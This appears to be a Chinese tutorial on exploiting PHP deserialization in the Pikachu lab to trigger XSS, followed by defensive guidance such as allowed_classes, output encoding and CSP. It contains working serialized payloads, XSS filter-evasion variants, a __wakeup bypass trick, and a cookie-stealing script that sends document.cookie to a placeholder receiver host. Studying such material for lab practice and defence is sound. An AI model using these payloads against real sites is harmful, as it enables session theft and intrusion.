信息收集与初步探测首先访问Pikachu反序列化漏洞页面。假设页面只有一个文本框和提交按钮没有任何提示。尝试输入普通数据输入test并提交。页面可能返回错误如“反序列化失败”或“数据不正确”。这证实后端确实调用了unserialize()。尝试输入标准序列化数据输入一个最简单的序列化字符串如a:1:{s:3:key;s:5:value;}这是一个数组的序列化。提交后观察回显。如果页面有变化或显示了数组内容说明反序列化成功并且程序可能对结果进行了输出。探测类名这是一个关键且困难的点。在真实黑盒测试中可能需要报错信息泄露提交畸形的序列化字符串如O:7:Unknown:0:{}看是否报错显示“Class ‘Unknown’ not found”。如果显示可以不断尝试常见类名如stdClass,Exception等或根据CMS、框架特征猜解。源代码泄露尝试访问/vul.php~,/index.php.bak,/.git等看是否能下载到源码。Pikachu靶场特性在Pikachu中为了教学类名可能是预设好的如TestClass,VulnClass,MyClass等可以尝试。5.2 基于推测的Payload构造与测试假设我们通过某种方式如查看Pikachu的源码目录这是允许的学习行为得知了类名为VulnClass且有一个公共属性$data。我们编写测试脚本分步生成Payload并测试// 测试脚本 test_payload.php $guess_classname [VulnClass, TestClass, MyClass]; $payloads []; foreach ($guess_classname as $cn) { $fake_class new stdClass(); // 创建一个匿名类用于序列化指定类名的对象。更直接的方式是定义类。 // 由于PHP特性直接序列化stdClass并修改类名字符串是无效的。 // 正确做法是动态创建类定义并序列化。 eval(class $cn { public \$data test; }); // 注意eval仅在完全可控环境使用 $obj eval(return new $cn();); $obj-data scriptalert(1)/script; $payloads[$cn] serialize($obj); } print_r($payloads);重要警告eval()函数极其危险切勿在生产环境或未知代码中使用。此处仅用于演示本地测试环境下的动态类创建。在实际操作中更安全的方式是手动修改序列化字符串中的类名部分。例如我们有一个已知的VulnClass的Payload但想测试AnotherClass可以直接用文本编辑器或字符串替换函数修改$payload_for_vuln O:9:VulnClass:1:{s:4:data;s:20:scriptalert(1)/script;}; $payload_for_another str_replace(VulnClass, AnotherClass, $payload_for_vuln);5.3 攻击成功后的行为验证与影响分析当提交Payload后浏览器成功弹出警告框攻击成功。但这只是第一步。我们需要深入验证确认执行上下文弹窗的JS代码是在当前页面域下执行的。我们可以构造一个Payload来证明这一点scriptalert(document.domain)/script它应该弹出当前靶场的域名如localhost。验证持久化检查这次攻击是否是“持久型XSS”。刷新页面甚至用另一个浏览器或隐身窗口访问同一个反序列化功能页面看是否还会弹窗。如果会说明我们的恶意数据可能被保存到了服务器如数据库、文件、Session影响了其他用户。这才是最具威胁的。尝试更具危害的Payload在授权测试的靶场内可以尝试构造窃取Cookie的Payload并搭建一个简单的接收服务器例如用Python的http.server模块来验证数据能否被送出。$obj-data scriptvar imgnew Image();img.srchttp://你的IP:端口/steal?cencodeURIComponent(document.cookie);/script;在接收端观察是否有请求到来。通过这一系列操作你不仅证明了漏洞的存在更评估了其实际危害等级。6. 防御策略与安全编程实践作为开发者了解攻击是为了更好的防御。针对PHP反序列化漏洞必须采取多层次的安全措施。6.1 输入验证与过滤第一道防线永远不要信任用户输入。对于反序列化操作最直接的防御就是避免反序列化不可信的数据。白名单校验如果业务必须使用序列化数据应确保其来源绝对可靠。例如只反序列化来自内部系统、经过数字签名验证的数据。数据格式校验在反序列化前对字符串进行严格的格式检查。例如检查其是否是合法的序列化格式虽然复杂但可以通过正则进行初步判断或者只接受特定简单类型如仅包含基本类型和指定类名的数组。6.2 使用安全的反序列化函数与机制json_encode()/json_decode()对于简单的数据存储和传输优先使用JSON格式。JSON没有自动执行代码的魔术方法机制比PHP序列化安全得多。限制反序列化类PHP提供了unserialize()的第二个参数$options通过设置[allowed_classes false]可以禁止反序列化任何对象类型只还原基本数据类型数组、字符串、数字等。这是PHP 7.0后非常重要的安全特性。$data unserialize($user_input, [allowed_classes false]);如果业务必须还原对象可以将allowed_classes设置为一个明确的白名单数组$data unserialize($user_input, [allowed_classes [SafeClassA, SafeClassB]]);使用__sleep()和__wakeup()的注意事项在类设计中__wakeup()方法应只用于初始化操作避免包含复杂的业务逻辑、文件操作或数据库查询。__destruct()同理。6.3 安全审计与依赖管理代码审计定期对代码进行安全审计重点关注所有unserialize()函数的调用点追溯其参数来源。使用静态代码分析工具如phpcs配合安全规则、RIPS等进行自动化扫描。依赖库检查很多反序列化漏洞出现在第三方库如PHPGGC工具集针对的ThinkPHP、Laravel等框架的漏洞。保持框架和库的更新至最新安全版本。Web应用防火墙WAF部署WAF可以拦截常见的反序列化攻击Payload但这不是根本解决方案只能作为缓解措施。6.4 针对本案例XSS的额外防御即使反序列化漏洞被利用我们还可以在输出端阻止XSS的发生这属于“纵深防御”。输出编码所有输出到HTML页面的数据都必须根据上下文进行编码。输出到HTML正文使用htmlspecialchars($data, ENT_QUOTES, UTF-8)。输出到HTML属性同样使用htmlspecialchars。输出到JavaScript使用json_encode()。内容安全策略CSP通过HTTP头Content-Security-Policy限制页面可以加载和执行脚本的来源可以有效缓解甚至阻止XSS攻击。例如设置只允许执行同源脚本Content-Security-Policy: script-src self。7. 常见问题排查与实战心得在实战和教学过程中我遇到了各种各样的问题这里把一些典型的坑和解决思路记录下来。7.1 Payload提交后无反应或报错问题现象可能原因排查步骤与解决方案页面空白或500错误Payload格式错误导致unserialize()失败或触发PHP致命错误。1. 检查序列化字符串格式括号是否匹配字符串长度s:后的数字是否与实际字符数完全一致一个中文UTF-8通常算3个字符。2. 检查类名是否正确。在靶场中类名可能大小写敏感。3. 使用error_reporting(E_ALL); ini_set(display_errors, 1);开启后端错误显示如果可控查看具体错误信息。显示“反序列化失败”等提示但无弹窗反序列化成功但XSS Payload未执行。1.检查属性名属性是public、private还是protected序列化字符串中的属性名部分必须完全匹配包括空字符%00。2.检查输出点__wakeup()或__destruct()方法是否真的将$data输出到了HTML页面可能只是赋值给了另一个变量或写入了数据库。需要追踪代码逻辑。3.检查XSS过滤后端是否对输出内容进行了HTML编码或过滤了script标签尝试使用大小写混淆、事件处理器如onload、onerror、SVG标签等变形XSS Payload进行绕过测试。例如img srcx onerroralert(1)。弹窗被浏览器拦截现代浏览器如Chrome的内置XSS过滤器XSS Auditor可能拦截了反射型XSS。1. 尝试使用更隐蔽的Payload避免明显的scriptalert模式。2. 测试是否在input标签的value属性中触发这可能需要闭合引号和标签如scriptalert(1)/script。3. 确认攻击场景。如果是存储型XSS通常不会被浏览器前端拦截。7.2 关于魔术方法不触发的深度排查有时Payload反序列化成功了无错误但预期的魔术方法如__wakeup里的代码没执行。检查__wakeup方法是否存在你序列化的类必须定义了__wakeup方法。如果靶场用的是另一个类如ExampleClass而你用VulnClass去序列化虽然反序列化可能不报错如果属性兼容但不会触发VulnClass的__wakeup因为PHP复活的是ExampleClass的对象。__wakeup被绕过CVE-2016-7124这是一个著名的PHP漏洞。当序列化字符串中对象属性个数的值O:9:VulnClass:1:中的1大于真实属性个数时__wakeup方法将不会被执行。而__destruct方法仍会执行。这在CTF中常考。漏洞利用将Payload中的属性计数改大例如O:9:VulnClass:10:{s:4:data;s:20:scriptalert(1)/script;}。这样__wakeup被跳过但如果类有__destruct攻击链可以转向那里。PHP版本差异不同PHP版本对序列化机制的处理有细微差别确保测试环境与靶场环境一致。7.3 我的实战心得与技巧从简单到复杂构造Payload时先用一个最简单的字符串如test123赋值给目标属性确认反序列化和输出流程是通的。然后再替换成复杂的HTML/JS代码。善用编码工具除了用PHP的serialize()还可以使用在线PHP序列化工具注意安全勿处理敏感数据或Python的phpserialize库来辅助生成和调试Payload特别是在处理私有、保护属性时。注意字符串长度序列化格式中的s:46:里的数字必须精确等于后面字符串的字节数。使用strlen()函数计算时要确保是字节长度而非字符长度对多字节字符有区别。一个稳妥的方法是让PHP自己生成或者生成后仔细核对。利用PHP内置类高级技巧有时目标应用没有明显的漏洞类但PHP内置的类如SimpleXMLElement、ArrayObject、Exception也可能被利用通过它们的方法或属性触发一些危险操作如文件读写、XXE。这需要更深入的研究。思维不要局限反序列化漏洞的终点不一定是XSS。它可以是文件写入写Webshell、数据库操作、甚至通过phar://包装器触发反序列化。理解漏洞的本质是“控制数据流触发危险函数”就能举一反三。最后记住一点在Pikachu这样的靶场里你可以尽情尝试各种“危险”操作这是学习的最佳方式。但一旦走出靶场面对真实的系统必须遵守法律和道德规范只在获得明确授权的范围内进行安全测试。